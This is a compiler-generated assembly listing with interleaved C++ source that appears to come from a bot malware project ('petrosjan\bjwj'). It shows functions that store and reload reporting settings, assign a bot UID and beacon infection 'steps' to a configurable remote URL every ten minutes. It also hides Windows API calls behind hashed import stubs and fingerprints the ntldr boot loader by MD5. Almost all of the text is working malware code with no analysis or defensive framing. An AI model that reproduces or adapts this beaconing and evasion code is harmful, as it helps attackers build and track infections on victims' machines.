; 212  : 	pRegCloseKey(key);
  000cd	53		 push	 ebx
  000ce	e8 00 00 00 00	 call	 ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *>
  000d3	59		 pop	 ecx
  000d4	5f		 pop	 edi
; 213  : 
; 214  : 	DBGRPTDBG("DebugReportSaveParamList", "RegSetValueEx() result=%u", set_value_result);
; 215  : 	if (set_value_result != ERROR_SUCCESS) return false;
  000d5	85 f6		 test	 esi, esi
  000d7	5e		 pop	 esi
  000d8	74 11		 je	 SHORT $LN1@DebugRepor@3
  000da	32 db		 xor	 bl, bl
$LN21@DebugRepor@3:
  000dc	8d 4d f0	 lea	 ecx, DWORD PTR _EncodedString$[ebp]
  000df	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000e4	8a c3		 mov	 al, bl
  000e6	e9 29 ff ff ff	 jmp	 $LN3@DebugRepor@3
$LN1@DebugRepor@3:
  000eb	b3 01		 mov	 bl, 1
  000ed	eb ed		 jmp	 SHORT $LN21@DebugRepor@3
?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z ENDP	; DebugReportSaveParamList
_TEXT	ENDS
PUBLIC	??_C@_01OGPIMHDM@?$DP?$AA@			; `string'
PUBLIC	?DebugReportLoadSettings@@YAXXZ			; DebugReportLoadSettings
EXTRN	?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z:PROC ; GetCommandParamByIndex
_BSS	SEGMENT
_DbgRptCs DB	018H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_01OGPIMHDM@?$DP?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_01OGPIMHDM@?$DP?$AA@ DB '?', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportLoadSettings@@YAXXZ
_TEXT	SEGMENT
_PlugName$ = -32					; size = 8
_StatPrefix$ = -24					; size = 8
_ParamList$ = -16					; size = 8
_StatUrl$ = -8						; size = 8
?DebugReportLoadSettings@@YAXXZ PROC			; DebugReportLoadSettings, COMDAT
; 223  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 20	 sub	 esp, 32			; 00000020H
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 224  : 	string ParamList;
; 225  : 	bool ParamListLoaded  = DebugReportLoadParamList(&ParamList);
  00008	8d 45 f0	 lea	 eax, DWORD PTR _ParamList$[ebp]
  0000b	57		 push	 edi
  0000c	33 db		 xor	 ebx, ebx
  0000e	50		 push	 eax
  0000f	c7 45 f0 00 00
	00 00		 mov	 DWORD PTR _ParamList$[ebp], OFFSET ??_7?$TString@D@@6B@
  00016	89 5d f4	 mov	 DWORD PTR _ParamList$[ebp+4], ebx
  00019	e8 00 00 00 00	 call	 ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ; DebugReportLoadParamList
; 226  : 
; 227  : 	DBGRPTDBG("DebugReportLoadSettings", "DebugReportLoadParamList() result=%d (ParamList='%s').",
; 228  : 		ParamListLoaded, ParamList.t_str());
  0001e	8b 75 f4	 mov	 esi, DWORD PTR _ParamList$[ebp+4]
  00021	59		 pop	 ecx
  00022	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
; 229  : 
; 230  : 	string PlugName   = GetCommandParamByIndex(ParamList.t_str(), 0);
  00027	8b c6		 mov	 eax, esi
  00029	3b f3		 cmp	 esi, ebx
  0002b	75 02		 jne	 SHORT $LN18@DebugRepor@4
  0002d	8b c7		 mov	 eax, edi
$LN18@DebugRepor@4:
  0002f	53		 push	 ebx
  00030	50		 push	 eax
  00031	8d 45 e0	 lea	 eax, DWORD PTR _PlugName$[ebp]
  00034	50		 push	 eax
  00035	e8 00 00 00 00	 call	 ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex
  0003a	83 c4 0c	 add	 esp, 12			; 0000000cH
; 231  : 	string StatPrefix = GetCommandParamByIndex(ParamList.t_str(), 1);
  0003d	8b c6		 mov	 eax, esi
  0003f	3b f3		 cmp	 esi, ebx
  00041	75 02		 jne	 SHORT $LN22@DebugRepor@4
  00043	8b c7		 mov	 eax, edi
$LN22@DebugRepor@4:
  00045	6a 01		 push	 1
  00047	50		 push	 eax
  00048	8d 45 e8	 lea	 eax, DWORD PTR _StatPrefix$[ebp]
  0004b	50		 push	 eax
  0004c	e8 00 00 00 00	 call	 ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex
  00051	83 c4 0c	 add	 esp, 12			; 0000000cH
; 232  : 	string StatUrl    = GetCommandParamByIndex(ParamList.t_str(), 2);
  00054	3b f3		 cmp	 esi, ebx
  00056	75 02		 jne	 SHORT $LN26@DebugRepor@4
  00058	8b f7		 mov	 esi, edi
$LN26@DebugRepor@4:
  0005a	6a 02		 push	 2
  0005c	8d 45 f8	 lea	 eax, DWORD PTR _StatUrl$[ebp]
  0005f	56		 push	 esi
  00060	50		 push	 eax
  00061	e8 00 00 00 00	 call	 ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex
; 233  : 
; 234  : 	DBGRPTDBG("DebugReportLoadSettings",
; 235  : 		"Parsing arguments results: PlugName='%s' StatPrefix='%s' StatUrl='%s'",
; 236  : 		PlugName.t_str(), StatPrefix.t_str(), StatUrl.t_str()
; 237  : 		);
; 238  : 
; 239  : 
; 240  : 	DebugReportSettings* NewSettings = CreateStruct(DebugReportSettings);
  00066	6a 0c		 push	 12			; 0000000cH
  00068	e8 00 00 00 00	 call	 ?Alloc@HEAP@@YAPAXK@Z	; HEAP::Alloc
; 241  : 	DebugReportSettings* OldSettings = NULL;
; 242  : 
; 243  : 	// 
; 244  : 	// 
; 245  : 	NewSettings->Enabled = (StatPrefix.Length() > 0) && (StatUrl.Length() > 0);
  0006d	ff 75 ec	 push	 DWORD PTR _StatPrefix$[ebp+4]
  00070	8b f0		 mov	 esi, eax
  00072	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00077	83 c4 14	 add	 esp, 20			; 00000014H
  0007a	85 c0		 test	 eax, eax
  0007c	76 12		 jbe	 SHORT $LN3@DebugRepor@4
  0007e	ff 75 fc	 push	 DWORD PTR _StatUrl$[ebp+4]
  00081	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00086	59		 pop	 ecx
  00087	85 c0		 test	 eax, eax
  00089	76 05		 jbe	 SHORT $LN3@DebugRepor@4
  0008b	33 c0		 xor	 eax, eax
  0008d	40		 inc	 eax
  0008e	eb 02		 jmp	 SHORT $LN4@DebugRepor@4
$LN3@DebugRepor@4:
  00090	33 c0		 xor	 eax, eax
$LN4@DebugRepor@4:
; 246  : 
; 247  : 	// URL 
; 248  : 	// 
; 249  : 	StatUrl += "?";
  00092	68 00 00 00 00	 push	 OFFSET ??_C@_01OGPIMHDM@?$DP?$AA@
  00097	8d 4d f8	 lea	 ecx, DWORD PTR _StatUrl$[ebp]
  0009a	88 06		 mov	 BYTE PTR [esi], al
  0009c	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 250  : 
; 251  : 	NewSettings->StatPrefix = STR::New(StatPrefix.t_str());
  000a1	8b 45 ec	 mov	 eax, DWORD PTR _StatPrefix$[ebp+4]
  000a4	3b c3		 cmp	 eax, ebx
  000a6	75 02		 jne	 SHORT $LN48@DebugRepor@4
  000a8	8b c7		 mov	 eax, edi
$LN48@DebugRepor@4:
  000aa	53		 push	 ebx
  000ab	50		 push	 eax
  000ac	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
  000b1	59		 pop	 ecx
  000b2	89 46 04	 mov	 DWORD PTR [esi+4], eax
  000b5	59		 pop	 ecx
; 252  : 	NewSettings->StatUrl    = STR::New(StatUrl.t_str());
  000b6	39 5d fc	 cmp	 DWORD PTR _StatUrl$[ebp+4], ebx
  000b9	74 03		 je	 SHORT $LN51@DebugRepor@4
  000bb	8b 7d fc	 mov	 edi, DWORD PTR _StatUrl$[ebp+4]
$LN51@DebugRepor@4:
  000be	53		 push	 ebx
  000bf	57		 push	 edi
  000c0	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
; 253  : 
; 254  : 	// 
 DbgRptSettings, 
; 255  : 	pEnterCriticalSection(&DbgRptCs);
  000c5	bf 00 00 00 00	 mov	 edi, OFFSET _DbgRptCs
  000ca	57		 push	 edi
  000cb	89 46 08	 mov	 DWORD PTR [esi+8], eax
  000ce	e8 00 00 00 00	 call	 ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *>
; 256  : 
; 257  : 	OldSettings = DbgRptSettings;
  000d3	8b 1d 00 00 00
	00		 mov	 ebx, DWORD PTR _DbgRptSettings
; 258  : 	DbgRptSettings = NewSettings;
; 259  : 
; 260  : 	pLeaveCriticalSection(&DbgRptCs);
  000d9	57		 push	 edi
  000da	89 35 00 00 00
	00		 mov	 DWORD PTR _DbgRptSettings, esi
  000e0	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *>
; 261  : 
; 262  : 	DebugReportFreeSettings(OldSettings);
  000e5	53		 push	 ebx
  000e6	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000eb	83 c4 14	 add	 esp, 20			; 00000014H
; 263  : }
  000ee	8d 4d f8	 lea	 ecx, DWORD PTR _StatUrl$[ebp]
  000f1	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000f6	8d 4d e8	 lea	 ecx, DWORD PTR _StatPrefix$[ebp]
  000f9	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000fe	8d 4d e0	 lea	 ecx, DWORD PTR _PlugName$[ebp]
  00101	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00106	8d 4d f0	 lea	 ecx, DWORD PTR _ParamList$[ebp]
  00109	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0010e	5f		 pop	 edi
  0010f	5e		 pop	 esi
  00110	5b		 pop	 ebx
  00111	c9		 leave
  00112	c3		 ret	 0
?DebugReportLoadSettings@@YAXXZ ENDP			; DebugReportLoadSettings
_TEXT	ENDS
PUBLIC	?DebugReportUpdateSettingsThread@@YAXPAX@Z	; DebugReportUpdateSettingsThread
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportUpdateSettingsThread@@YAXPAX@Z
_TEXT	SEGMENT
_Arguments$ = 8						; size = 4
?DebugReportUpdateSettingsThread@@YAXPAX@Z PROC		; DebugReportUpdateSettingsThread, COMDAT
; 270  : {
$LL2@DebugRepor@5:
; 271  : 	while (true)
; 272  : 	{
; 273  : 		DBGRPTDBG("DebugReportUpdateSettingsThread", "Sleep 10 min");
; 274  : 		pSleep(10 * 60 * 1000);
  00000	68 c0 27 09 00	 push	 600000			; 000927c0H
  00005	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  0000a	59		 pop	 ecx
; 275  : 
; 276  : 		DebugReportLoadSettings();
  0000b	e8 00 00 00 00	 call	 ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings
; 277  : 	}
  00010	eb ee		 jmp	 SHORT $LL2@DebugRepor@5
?DebugReportUpdateSettingsThread@@YAXPAX@Z ENDP		; DebugReportUpdateSettingsThread
_TEXT	ENDS
PUBLIC	?DebugReportSaveSettings@@YAXPBD@Z		; DebugReportSaveSettings
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportSaveSettings@@YAXPBD@Z
_TEXT	SEGMENT
$T93038 = -8						; size = 8
_ParamsList$ = 8					; size = 4
?DebugReportSaveSettings@@YAXPBD@Z PROC			; DebugReportSaveSettings, COMDAT
; 282  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
; 283  : 	DBGRPTDBG("DebugReportSaveSettings", "Started with ParamsList='%s'", ParamsList);
; 284  : 	
; 285  : 	// 
; 286  : 	DebugReportSaveParamList(ParamsList);
  00005	ff 75 08	 push	 DWORD PTR _ParamsList$[ebp]
  00008	8d 4d f8	 lea	 ecx, DWORD PTR $T93038[ebp]
  0000b	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00010	8d 45 f8	 lea	 eax, DWORD PTR $T93038[ebp]
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z ; DebugReportSaveParamList
  00019	59		 pop	 ecx
  0001a	8d 4d f8	 lea	 ecx, DWORD PTR $T93038[ebp]
  0001d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 287  : 
; 288  : 	// 
; 289  : 	DebugReportLoadSettings();
  00022	e8 00 00 00 00	 call	 ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings
; 290  : }
  00027	c9		 leave
  00028	c3		 ret	 0
?DebugReportSaveSettings@@YAXPBD@Z ENDP			; DebugReportSaveSettings
_TEXT	ENDS
PUBLIC	?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ
_TEXT	SEGMENT
?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ PROC ; DebugReportGetSettings, COMDAT
; 297  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
; 298  : 	DebugReportSettings* result = NULL;
; 299  : 
; 300  : 	// 
 DbgRptSettings
; 301  : 	pEnterCriticalSection(&DbgRptCs);
  00002	be 00 00 00 00	 mov	 esi, OFFSET _DbgRptCs
  00007	56		 push	 esi
  00008	e8 00 00 00 00	 call	 ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *>
; 302  : 
; 303  : 	if (DbgRptSettings == &DbgRptSettingDefault)
  0000d	a1 00 00 00 00	 mov	 eax, DWORD PTR _DbgRptSettings
  00012	59		 pop	 ecx
  00013	3d 00 00 00 00	 cmp	 eax, OFFSET _DbgRptSettingDefault
  00018	75 0a		 jne	 SHORT $LN1@DebugRepor@6
; 304  : 	{
; 305  : 		DebugReportLoadSettings();
  0001a	e8 00 00 00 00	 call	 ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings
  0001f	a1 00 00 00 00	 mov	 eax, DWORD PTR _DbgRptSettings
$LN1@DebugRepor@6:
; 306  : 	}
; 307  : 
; 308  : 	result = DebugReportAllocSettings(DbgRptSettings->Enabled, 
; 309  : 		DbgRptSettings->StatPrefix, DbgRptSettings->StatUrl);
  00024	ff 70 08	 push	 DWORD PTR [eax+8]
  00027	ff 70 04	 push	 DWORD PTR [eax+4]
  0002a	0f b6 00	 movzx	 eax, BYTE PTR [eax]
  0002d	50		 push	 eax
  0002e	e8 00 00 00 00	 call	 ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z ; DebugReportAllocSettings
; 310  : 
; 311  : 	pLeaveCriticalSection(&DbgRptCs);
  00033	56		 push	 esi
  00034	8b f8		 mov	 edi, eax
  00036	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *>
  0003b	83 c4 10	 add	 esp, 16			; 00000010H
; 312  : 
; 313  : 	return result;
  0003e	8b c7		 mov	 eax, edi
  00040	5f		 pop	 edi
  00041	5e		 pop	 esi
; 314  : }
  00042	c3		 ret	 0
?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ENDP ; DebugReportGetSettings
_TEXT	ENDS
PUBLIC	??_C@_04CNBNFAL@step?$AA@			; `string'
PUBLIC	?DebugReportStepByName@@YAXPBD@Z		; DebugReportStepByName
EXTRN	?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z:PROC ; HTTP::Get
;	COMDAT ??_C@_04CNBNFAL@step?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_04CNBNFAL@step?$AA@ DB 'step', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportStepByName@@YAXPBD@Z
_TEXT	SEGMENT
_BotUid$ = -20						; size = 8
$T93045 = -12						; size = 8
_URL$ = -8						; size = 4
_Buffer$ = -4						; size = 4
_StepName$ = 8						; size = 4
?DebugReportStepByName@@YAXPBD@Z PROC			; DebugReportStepByName, COMDAT
; 370  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 14	 sub	 esp, 20			; 00000014H
  00006	56		 push	 esi
; 371  : 	DebugReportSettings* settings = DebugReportGetSettings();
  00007	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  0000c	8b f0		 mov	 esi, eax
; 372  : 	DBGRPTDBG("DebugReportStepByName",
; 373  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 374  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 375  : 		);
; 376  : 
; 377  : 	if (!settings->Enabled) return;
  0000e	80 3e 00	 cmp	 BYTE PTR [esi], 0
  00011	0f 84 c4 00 00
	00		 je	 $LN2@DebugRepor@7
  00017	53		 push	 ebx
  00018	57		 push	 edi
; 378  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  00019	ff 76 04	 push	 DWORD PTR [esi+4]
  0001c	8d 4d f4	 lea	 ecx, DWORD PTR $T93045[ebp]
  0001f	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00024	8d 45 f4	 lea	 eax, DWORD PTR $T93045[ebp]
  00027	50		 push	 eax
  00028	8d 45 ec	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002b	50		 push	 eax
  0002c	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00031	59		 pop	 ecx
  00032	59		 pop	 ecx
  00033	8d 4d f4	 lea	 ecx, DWORD PTR $T93045[ebp]
  00036	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 379  : 
; 380  : 	PStrings Fields = Strings::Create();
  0003b	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 381  : 	AddURLParam(Fields, "cmd", "step");
  00040	6a 00		 push	 0
  00042	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_04CNBNFAL@step?$AA@
  00047	57		 push	 edi
  00048	8b d8		 mov	 ebx, eax
  0004a	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  0004f	53		 push	 ebx
  00050	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 382  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  00055	8b 45 f0	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  00058	83 c4 10	 add	 esp, 16			; 00000010H
  0005b	85 c0		 test	 eax, eax
  0005d	75 05		 jne	 SHORT $LN9@DebugRepor@7
  0005f	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN9@DebugRepor@7:
  00064	6a 00		 push	 0
  00066	50		 push	 eax
  00067	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  0006c	53		 push	 ebx
  0006d	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 383  : 	AddURLParam(Fields, "step", (PCHAR)StepName);
  00072	6a 00		 push	 0
  00074	ff 75 08	 push	 DWORD PTR _StepName$[ebp]
  00077	57		 push	 edi
  00078	53		 push	 ebx
  00079	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 384  : 
; 385  : 	PCHAR Params = Strings::GetText(Fields, "&");
  0007e	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  00083	53		 push	 ebx
  00084	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
  00089	8b f8		 mov	 edi, eax
; 386  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  0008b	57		 push	 edi
  0008c	ff 76 08	 push	 DWORD PTR [esi+8]
  0008f	6a 02		 push	 2
  00091	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 387  : 
; 388  : 	DBGRPTDBG("DebugReportStepByName", "go to url='%s'", URL);
; 389  : 
; 390  : 	PCHAR Buffer = NULL;
  00096	83 65 fc 00	 and	 DWORD PTR _Buffer$[ebp], 0
; 391  : 	HTTP::Get(URL, &Buffer, NULL);
  0009a	6a 00		 push	 0
  0009c	8d 4d fc	 lea	 ecx, DWORD PTR _Buffer$[ebp]
  0009f	51		 push	 ecx
  000a0	50		 push	 eax
  000a1	89 45 f8	 mov	 DWORD PTR _URL$[ebp], eax
  000a4	e8 00 00 00 00	 call	 ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get
  000a9	83 c4 40	 add	 esp, 64			; 00000040H
; 392  : 
; 393  : 	STR::Free(Buffer);
  000ac	ff 75 fc	 push	 DWORD PTR _Buffer$[ebp]
  000af	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 394  : 	STR::Free(URL);
  000b4	ff 75 f8	 push	 DWORD PTR _URL$[ebp]
  000b7	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 395  : 	STR::Free(Params);
  000bc	57		 push	 edi
  000bd	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 396  : 	Strings::Free(Fields);
  000c2	53		 push	 ebx
  000c3	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 397  : 	DebugReportFreeSettings(settings);
  000c8	56		 push	 esi
  000c9	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000ce	83 c4 14	 add	 esp, 20			; 00000014H
; 398  : }
  000d1	8d 4d ec	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  000d4	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000d9	5f		 pop	 edi
  000da	5b		 pop	 ebx
$LN2@DebugRepor@7:
  000db	5e		 pop	 esi
  000dc	c9		 leave
  000dd	c3		 ret	 0
?DebugReportStepByName@@YAXPBD@Z ENDP			; DebugReportStepByName
_TEXT	ENDS
PUBLIC	??_C@_05FDLGEGEK@ntldr?$AA@			; `string'
PUBLIC	?CalcNtldrMd5@@YAPADPADK@Z			; CalcNtldrMd5
EXTRN	?MD5StrFromFileA@@YA?AV?$TString@D@@PBD@Z:PROC	; MD5StrFromFileA
;	COMDAT ??_C@_05FDLGEGEK@ntldr?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_05FDLGEGEK@ntldr?$AA@ DB 'ntldr', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?CalcNtldrMd5@@YAPADPADK@Z
_TEXT	SEGMENT
_path$ = -268						; size = 260
_md5$ = -8						; size = 8
_Buffer$ = 8						; size = 4
_BufferSize$ = 12					; size = 4
?CalcNtldrMd5@@YAPADPADK@Z PROC				; CalcNtldrMd5, COMDAT
; 409  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 0c 01 00
	00		 sub	 esp, 268		; 0000010cH
  00009	56		 push	 esi
; 410  : 	CHAR path[MAX_PATH];
; 411  : 
; 412  : 	pGetWindowsDirectoryA(path, MAX_PATH);
  0000a	8d 85 f4 fe ff
	ff		 lea	 eax, DWORD PTR _path$[ebp]
  00010	68 04 01 00 00	 push	 260			; 00000104H
  00015	50		 push	 eax
  00016	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z ; pushargEx<1,2024803454,135,char *,int>
  0001b	59		 pop	 ecx
  0001c	59		 pop	 ecx
; 413  : 	path[3] = '\0';
; 414  : 
; 415  : 	m_lstrcat(path, "ntldr");
  0001d	68 00 00 00 00	 push	 OFFSET ??_C@_05FDLGEGEK@ntldr?$AA@
  00022	8d 85 f4 fe ff
	ff		 lea	 eax, DWORD PTR _path$[ebp]
  00028	50		 push	 eax
  00029	c6 85 f7 fe ff
	ff 00		 mov	 BYTE PTR _path$[ebp+3], 0
  00030	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 416  : 
; 417  : 	m_memset(Buffer, 0, BufferSize);
  00035	ff 75 0c	 push	 DWORD PTR _BufferSize$[ebp]
  00038	8b 75 08	 mov	 esi, DWORD PTR _Buffer$[ebp]
  0003b	6a 00		 push	 0
  0003d	56		 push	 esi
  0003e	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 418  : 
; 419  : 	string md5 = MD5StrFromFileA(path);
  00043	8d 85 f4 fe ff
	ff		 lea	 eax, DWORD PTR _path$[ebp]
  00049	50		 push	 eax
  0004a	8d 45 f8	 lea	 eax, DWORD PTR _md5$[ebp]
  0004d	50		 push	 eax
  0004e	e8 00 00 00 00	 call	 ?MD5StrFromFileA@@YA?AV?$TString@D@@PBD@Z ; MD5StrFromFileA
; 420  : 
; 421  : 	if (md5.IsEmpty()) return NULL;
  00053	ff 75 fc	 push	 DWORD PTR _md5$[ebp+4]
  00056	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0005b	83 c4 18	 add	 esp, 24			; 00000018H
  0005e	84 c0		 test	 al, al
  00060	74 0d		 je	 SHORT $LN2@CalcNtldrM
  00062	8d 4d f8	 lea	 ecx, DWORD PTR _md5$[ebp]
  00065	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0006a	33 c0		 xor	 eax, eax
$LN3@CalcNtldrM:
  0006c	5e		 pop	 esi
; 425  : 
; 426  : 	return Buffer;
; 427  : }
  0006d	c9		 leave
  0006e	c3		 ret	 0
$LN2@CalcNtldrM:
; 422  : 	if (BufferSize < 33) return NULL;
  0006f	83 7d 0c 21	 cmp	 DWORD PTR _BufferSize$[ebp], 33 ; 00000021H
  00073	73 0e		 jae	 SHORT $LN1@CalcNtldrM
  00075	33 f6		 xor	 esi, esi
$LN11@CalcNtldrM:
  00077	8d 4d f8	 lea	 ecx, DWORD PTR _md5$[ebp]
  0007a	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0007f	8b c6		 mov	 eax, esi
  00081	eb e9		 jmp	 SHORT $LN3@CalcNtldrM
$LN1@CalcNtldrM:
; 423  : 
; 424  :   	m_lstrcat(Buffer, md5.t_str());
  00083	83 7d fc 00	 cmp	 DWORD PTR _md5$[ebp+4], 0
  00087	8b 45 fc	 mov	 eax, DWORD PTR _md5$[ebp+4]
  0008a	75 05		 jne	 SHORT $LN10@CalcNtldrM
  0008c	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN10@CalcNtldrM:
  00091	50		 push	 eax
  00092	56		 push	 esi
  00093	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
  00098	eb dd		 jmp	 SHORT $LN11@CalcNtldrM
?CalcNtldrMd5@@YAPADPADK@Z ENDP				; CalcNtldrMd5
_TEXT	ENDS
PUBLIC	??_C@_04HMPDOICP@cs01?$AA@			; `string'
PUBLIC	??_C@_02EHCHIAMF@os?$AA@			; `string'
PUBLIC	??_C@_09GCOHINED@beforerbt?$AA@			; `string'
PUBLIC	?DebugReportSystem@@YAXXZ			; DebugReportSystem
EXTRN	?MemFree@@YAXPAX@Z:PROC				; MemFree
EXTRN	?GetOSInfo@@YAPADXZ:PROC			; GetOSInfo
;	COMDAT ??_C@_04HMPDOICP@cs01?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
